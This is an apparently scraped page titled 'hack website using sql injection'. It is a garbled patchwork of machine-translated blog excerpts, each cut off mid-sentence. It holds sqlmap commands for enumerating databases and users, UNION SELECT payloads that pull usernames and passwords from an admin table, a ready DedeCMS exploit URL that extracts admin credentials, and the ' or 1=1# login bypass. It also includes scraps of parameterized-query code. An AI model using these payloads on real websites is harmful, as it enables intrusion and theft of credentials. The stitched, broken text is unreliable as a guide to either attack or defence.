hack website using sql injection

Author: EmperorSource: http://www.2chuizi.com/blog/read.php? 355Although the technology is reprinted without borders, Please retain the source Generally, at an SQL injection point, we always try to execute SQL statements in multiple sentences to achieve the desired purpose. With the increasing security awareness, parameter filtering becomes more and more meticulo

-- Update 01/03 am -- I found that the Code is not surprising, but I just want to stir up the cold meal a few years ago. Because years have passed, some people may be negligent and try some others. In the injection mode, numeric fields are the easiest to enter. text, but the querystring text is not as many as numbers. The most common is news. asp? Id = 3 In ASP, the neglected statement is as follows: Aspid = request ("ID ")

The example in this paper describes what to do if you encounter a like situation when stitching SQL statements.When a simple concatenation string is used with a SQL statement with like, the rate of SQL injection is required to open. This is really a problem to be aware of.Here combined with some of the information to d

Tags: SQL database post get injectioninjection is basically divided into the following three types:1.get class:sqlmap-u "Http://xxx?x=xx"2.post class :sqlmap-r "Xxx.txt"3.cookie class:sqlmap-u "http://xxx?x=xx" –cookie= "X=xxy=yy"--level=2A Get class1, enumerate the databases: sqlmap-u "Http://xxx?x=xx"--dbs2, get the current database:sqlmap-u "Http://xxx?x=xx"--current-db3, get the current user name: sqlmap-u "Http://xxx?x=xx"--current-user4, enumera

guessing field value; Here is the table name, field name according to experience to try; we get the user name and password (MD5 encrypted);Http://www.******.com/about.asp?id=1 and 1=2 Union select 1,username,3,4 from adminHttp://www.******.com/about.asp?id=1 and 1=2 Union select 1,password,3,4 from admin650) this.width=650; "title=" 3.jpg "style=" Float:none; "src=" http://s3.51cto.com/wyfs02/M02/59/CE/ Wkiom1tldxxjvvtoaafjdqbnwpm642.jpg "alt=" Wkiom1tldxxjvvtoaafjdqbnwpm642.jpg "/>650) this.wi

Recently, netizens in Dedecms found a full version of the SQL injection bug, currently the official latest version has fixed the vulnerability, the relevant use of code as follows: Exp: Exp:plus/recommend.php?action=aid=1_files[type][tmp_name]=\ 'or mid=@ ' \ '/*!50000union*//*!50000select*/1,2,3, (selectCONCAT (0x7c,userid,0x7c,pwd) +from+ '%23@__admin 'limit+0,1), 5,6,7,8,9%23@ ' +_files[type][name]=1.j

--null-connection retrieving page lengths from no actual HTTP response body--threads=threads Maximum http (S) request concurrency (default = 1)Injection (INJECTION): These options can be used to specify which parameters to test, provide custom injection payloads, and optional tamper scripts.-p testparameter parameters to test (S)--dbms=dbms the DBMS of the forced

, simplifying the writing of SQL statements. 1 Public voidAdd (user user) {2Connection conn =NULL;3PreparedStatement st =NULL;4ResultSet rs =NULL;5 Try{6conn =jdbcutils.getconnection (); 7 String sql = "INSERT into users (Id,username,password,email,birthday,nickname) VALUES (?,?,?,?,?,?)"; /Use placeholder 8th = conn.preparestatement (SQL);9St.setstring

first, the steps of SQL injectionA) to find injection points (such as: Login interface, message board, etc.)b) The user constructs the SQL statement (for example: ' or 1=1#, which is explained later)c) Send SQL statements to the database management system (DBMS)D) The DBMS receives the request and interprets the reques

SQL injection vulnerability is an old topic, in the past to do the development of ASP, often need to use a string of worry, such as the way to solve the problem, but sometimes do not thoroughly enough, often let hackers drill a loophole. So now in us. NET, you can use Ado.net to connect to a database either with WinForm development or with WebForm, and in Ado.net, you can set and get parameters of the comm